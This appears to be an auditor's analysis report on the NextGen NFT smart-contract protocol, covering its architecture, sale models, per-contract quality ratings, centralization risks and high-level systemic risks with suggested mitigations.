- Validating most of the HMs with coded POCs/tests.
- Filtering out invalid and low-severity issues from HMs.
- Writing Analysis Report.
The protocol has been structured in a very simplistic manner. The contracts in the protocol can be divided into five categories, namely, Core, Minter, Admin, Auction and Randomizer contracts.
- Use of Solidity's rounding for Periodicity in Sales model 2 and 3 - Solidity's loss of precision/rounding down has been used as a feature to calculate tDiff and periods for the Exponential/Linear descending Sales (sales option 2) and Periodic Sale model (sales option 3). This allows the property of periodicity to exist in the codebase, allowing to enforce invariants such as "1mint/period".
- On-chain and off-chain metadata compatiblity - The NextGen contracts allows collections of any type to support on-chain and off-chain metadata compatibility, which opens up doors to experimental features such as University Certificates, On-chain Music, Artwork and many more sectors to flourish.
- Freezing and setting final supply for collections - Most NFT contracts allow changing the supply by minting/burning tokens, thereby fluctuating the demand. By locking the data and final supply, immutability is revitalized into the collection, which can help increase user trust into the creators and their collection.
- Intentional Pseudo-Randomness - The RandomizerNXT.sol contract introduces a model similar to PRNG, which provides the NextGen team to sell it as a separate service as well as provide the collection artist with more options, ideas and innovations to integrate with their existing collection idea/generative script.
- Connection with the outside NFT world - Other than marketplaces where NFT's can be directly transferred/bought/sold, NextGen introduces another market to exist using their
burnOrSwapExternalToMint()
function in MinterContract with external NFT tokens. This is a particularly simple implementation but opens up a lot of pathways, considering NextGen collections are experimental and can include collections ranging from on-chain music ownership to mintpass systems. - Combination of 3 Sale models with allowlist/public phases - There are currently numerous combinations between the two phase types and 3 sale models, which allow artists to hold multiple allowlist/public phases with any sales model of their choice. For example, when the NFT trade market (such as nftperp) is in a bull run, the collection admins can generate more revenue by selling more tokens to users by setting up multiple rounds of allowlist/public phases ready for minting.
- Guarded launch of collections through max allowances - The collection admins can use max allowances along with periodic sale minting to ensure the prices of their NFTs (in the external markets) are less volatile during launch. This is a hidden but unique feature of allowances along with periodicity that unlocks new opportunities for the collection creators.
- Integrating ERC1155 tokens to not limit artist to ERC721 standard non-fungibility model.
- Allowing users to auction their NFT tokens.
- Allowing support for multi-artist collections since the current codebase only allows one artist's signature to be stored for a collection.
- Enabling delegates to enter auction on behalf of delegator.
- Support for re-auctioning a token in AuctionDemo.sol.
Since I found numerous coded POC confirmed issues, the only way I would decide the quality of this codebase is through the issues per contract and design structure; i.e. code readability/maintainability.
Admins Contract: The NextGenAdmins contract was quite simplistic. I had a quick glance at it since it was short and brief to understand. Since there were no issues here, I would mark this as high-quality.
Randomizer Contracts: The RandomizerVRF.sol, RandomizerRNG.sol and RandomizerNXT.sol collectively only had around 3 issues, some of which had no severe impact on the codebase. When it comes to the security considerations and code maintainability, the team seems to knowing the intricacies and some potential attack vectors, which have been neatly mitigated with access controls and limiting function visibility. Due to this, I would mark this as high-quality.
AuctionDemo Contract: This contract has 3 High-severity issues, which were missed out due to loose equality checks and missing storage updates in the claimAuction()
and cancelAllBids()
functions. The design choice of participate-claim-cancel makes sense, but the severity of the issues any day overshadow the design choice for quality since the potential impact of the issues expand not only to the current auction but also to other auctions running in parallel. Due to this, I would mark this as low-quality.
MinterContract: Most of the high and medium-severity issues I found were heavily related to this contract's missing state updates, require checks, missing functionality for support of sales model 3 as well as breaking of invariants. Due to this, I would mark this as low-quality.
NextGenCore Contract: The NextGenCore contract included 2 High-severity issues, one from reentrancy through _safeMint()
and the other due to missing state update in burnToMint()
. The rest of the contract does not seem to have any major issues that I've come across. Due to this, I would mark this as low-quality.
Test Coverage of these contracts The Core contracts have tests implemented in hardhat except AuctionDemo.sol and the Randomizers. The core contract have not been tested for specific branches or combinations but only basic functionality. Additionally, no fuzz testing, strict invariant testing or fork testing has been performed, considering the fact that randomness services like Chainlink VRF is used.
Although, I have not delved deeper into the issues here, this is my overall opinion on the codebase quality analysis based on both issues per contract and code readability/maintainability. Due to this, I would rank it as almost close to touching the Medium-quality bar but no higher.
A. There are 4 trusted roles that are already mentioned in README, which are (from highest to lowest power):
- Global Admin
- Function Admin
- Collection Admin
- Artist
B. Each of these roles have their downsides. But let's see how they can be mitigated:
- In case, the collection admin and artist turn out to be malicious, the global admin can just revoke their permissions.
- But in case, the global and function admins turn out be malicious, the collection admins and artists are at risk.
- In order to ensure less centralization in this aspect, each collection admin/artist should have a separate multi-sig with the global/function admin. But unfortunately, this will not be enough since the global/function admins can always gain majority or remove collection admins/artist. In order to further decentralize this, consider implementing a RBAC timelock on all admin related functions, which can be voted upon by the collection admins/artists. This would be the safest implementation in my opinion.
C. Last but not the least, there is another crucial role in the codebase, which has not been surfaced even in the README. This is the ownerOf()
or the deployer of the AuctionDemo.sol contract. This role is entrusted with or receives all the auction winner's ETH bid amounts. It is important to ensure that this address is some sort of multisig handled by the team.
Overall, the codebase is reasonably centralized since certain functions requiring it to be but there are inconsistencies in how these access controls have been applied on functions (especially in the NextGenCore contract). I would highly recommend the sponsors to create a deeper guide on what actions each role in the hierarchy are allowed to perform.
- NextGen documentation
- Chainlink VRF - Security Considerations
- ARRNGController contract live on Ethereum mainnet
- Only Ethereum is supported currently.
Here is the basic inheritance structure of the contracts in scope
Note: The NextGenCore, MinterContract, NextGenAdmins and AuctionDemo contract are singular and independent of each other and do not use any form of inheritance among themselves. This, I believe, is a good design choice since it allows separation of storage and concerns among each other.
The RandomizerNXT.sol is the only contract that inherits from another in-scope contract, i.e. XRandoms.sol
Periodic Sale (Option 3)
- Mints are limited to
1
token during each time period (e.g. minute, hour, day). - The minting cost can either stable or have a bonding curve (increase) over time.
- If
rate = 0
, minting cost price does not increase per minting. - If rate is set, then the minting cost price increases based on the tokens minted as well as the rate.
Exponential Descending Sale (Option 2):
- At each time period (which can vary), the minting cost decreases exponentially until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase.
- In this model the starting and ending minting costs and the time period are set while the rate is
0
.
Linear Descending Sale (Option 2):
- At each time period (which can vary), the minting cost decreases linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase.
- In this model all parameters need to be set.
- Using ARRNG as a service for randomness
I did some past transaction research on the ARRNGController.sol contract live on Ethereum mainnet and found out there has only been one call of requestRandomness
and serveRandomness
, which was called almost 100 days back (see here). Since there is no past transaction data to study, the reliability of the service cannot yet be guaranteed.
Furthermore, if you look closely, it took 8 block confirmations for the serve randomness to be called through the RNG service. This would be necessary if we were on POW but now the Ethereum POS network will work just fine with 3 minimum block confirmations (as done over here in the RandomizerVRF.sol contract) due to a block requiring 2/3rd of the total staked ether votes in favour in order for it to become justified. Thus, using only Chainlink VRF might be the best option while still ensuring the fastest response time.
-
Using OZ's AccessControl contract - Currently, there are no issues with the Admins contract and never might be in the future but it is good practice to use an existing standard such as AccessControl.sol by OpenZeppelin due to its widespread usage and modularity for handling roles in all types of situations.
-
Although addressed in the bot report, there are very high changes of the current implementation causing a DOS issue with airdropping tokens since external calls are made to the gencore contract in a for loop. To mitigate this, ensure airdrops are done in batches such that the block gas limit is not exceeded if airdropping too many users.
-
Frontrunning in
mint()
- Themint()
function in the minter contract is prone to frontrunning by bots to mint tokens earlier. This would become a major issue for a free or low cost collection that uses the Periodic Sale model (sales option 3), which only allows 1mint/period. This would affect the normal users who will not be able tomint()
unless the bot lets them for a certain time. This can only be mitigated through Flashbots RPC in my opinion but raising this issue in case sponsors find some leads to solutions. -
Miners manipulating
block.timestamp
- It is possible for miners to manipulate theblock.timestamp
by a few seconds in order tomint()
first during a Periodic Sale (sales option 3). The impact as mentioned previously is the same since normal users are affected in these edge case scenarios. -
lastMintDate
stores incorrect time - In one of my issues, I have demonstrated how it is possible forlastMintDate
to be set to a very far time in the future if a collection uses Periodic sale during both allowlist and public phases. This is a big system risk to the protocol since it breaks the 1mint/period invariant. The issue includes a coded poc as well which demonstrates the issue and its impact on the users and creators of the collection. -
Randomness is lost - It is possible for the VRF subscription plan to run out of LINK or the RNG contract to run out of ETH. Due to this, any randomness pending to be received by the Randomizer contracts is lost and the tokenHash of the tokenId is left empty forever. To avoid such an issue, implement a bot or emergency mechanism that alerts the team when the LINK or ETH goes below a certain critical threshold.
-
There are several inconsistencies between where the NFTDelegation mechanism is used and where it is not. This ambiguity denies the cold wallet users using delegation as a mechanism to avoid signing risky transactions and participating in certain services such as auctions,
burnToMint()
etc. Ensure the NFTDelegation mechanism is implemented in all places where normal hot wallet users would interact as well. -
Incomplete comment can lead to problems during phases - This comment here does not mention to set the
allowlistEndTime
to0
. If this is not set to0
and the collection admins thinkallowlistEndTime
also has to be set topublicEndTime
, this would cause the public phase calls to enter theallowlist
if conditional block in themint()
function first, leading to incorrect behaviour. Make sure to provide clear documentation on how values for phases can be set correctly and with more clarity in order to avoid misconfigurations. -
In AuctionDemo.sol, it is possible that no bids can be placed on an auctioned token (highly unlikely but still possible). In such a case, re-auctioning the token is not supported by the AuctionDemo.sol contract, which would be a problem. Though this can be solved by deploying another auction contract, adding a re-auctioning functionality will make the codebase more verbose and resilient in case of such edge scenarios.
-
Limitation of token payment methods when minting - Try integrating more ERC20 tokens and stablecoins in the current model since only ETH is accepted currently.
-
Can a user prevent another user from setting a higher bid?
- No.
-
Can updating the core contract in minter contract cause any issues?
- Yes, it will prevent collections on the old core contract to not be allowed to use
airdrop()
,mint()
andburnToMint()
functionality.
- Yes, it will prevent collections on the old core contract to not be allowed to use
-
If a collection is created, can one mint before randomizer contract or any other contract is set?
- No call would revert since
calculateTokenHash()
does not exist.
- No call would revert since
-
Can minting start before data is set or artist signature is set?
- As long as dates are set yes, but this would require admin misconfig.
-
How many collections can be supported based on how Ids are served in the gencore contract?
-
To get a sense: Gauging the number of collections and number of tokens per collection that can exist with the current implementation of reserved indexes:
- Number of collections
= type(uint256).max / 10000000000 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 / 10000000000 = 11579208923731619542357098500868790785326998466564056403945758400791
collections. - Number of tokens per collection
= 10000000000
.
- Number of collections
-
Suggestion for sponsors: Number of tokens per collection can be increased since the NextGen contracts is experimentational and it's growth should not be underestimated in case the concept of university certificates (issued each year) or some new idea pops up that requires more than the current reserved index range of
10000000000
to be used.
-
-
Can we reenter through
cancelBid
?- Not possible, since
auctionDataInfo
is updated to false before making external call to return bidder's ETH.
- Not possible, since
-
Small mistake in docs:
-
Mistake in docs - https://seize-io.gitbook.io/nextgen/for-creators/sales-models#sales-models-examples
-
In linear descending model, the statement is incorrect. It should be "During 10th Price period price 3.1 ETH" and 11th Price period price remains constant as shown in the diagram above the explanation, as well.
-
140 hours
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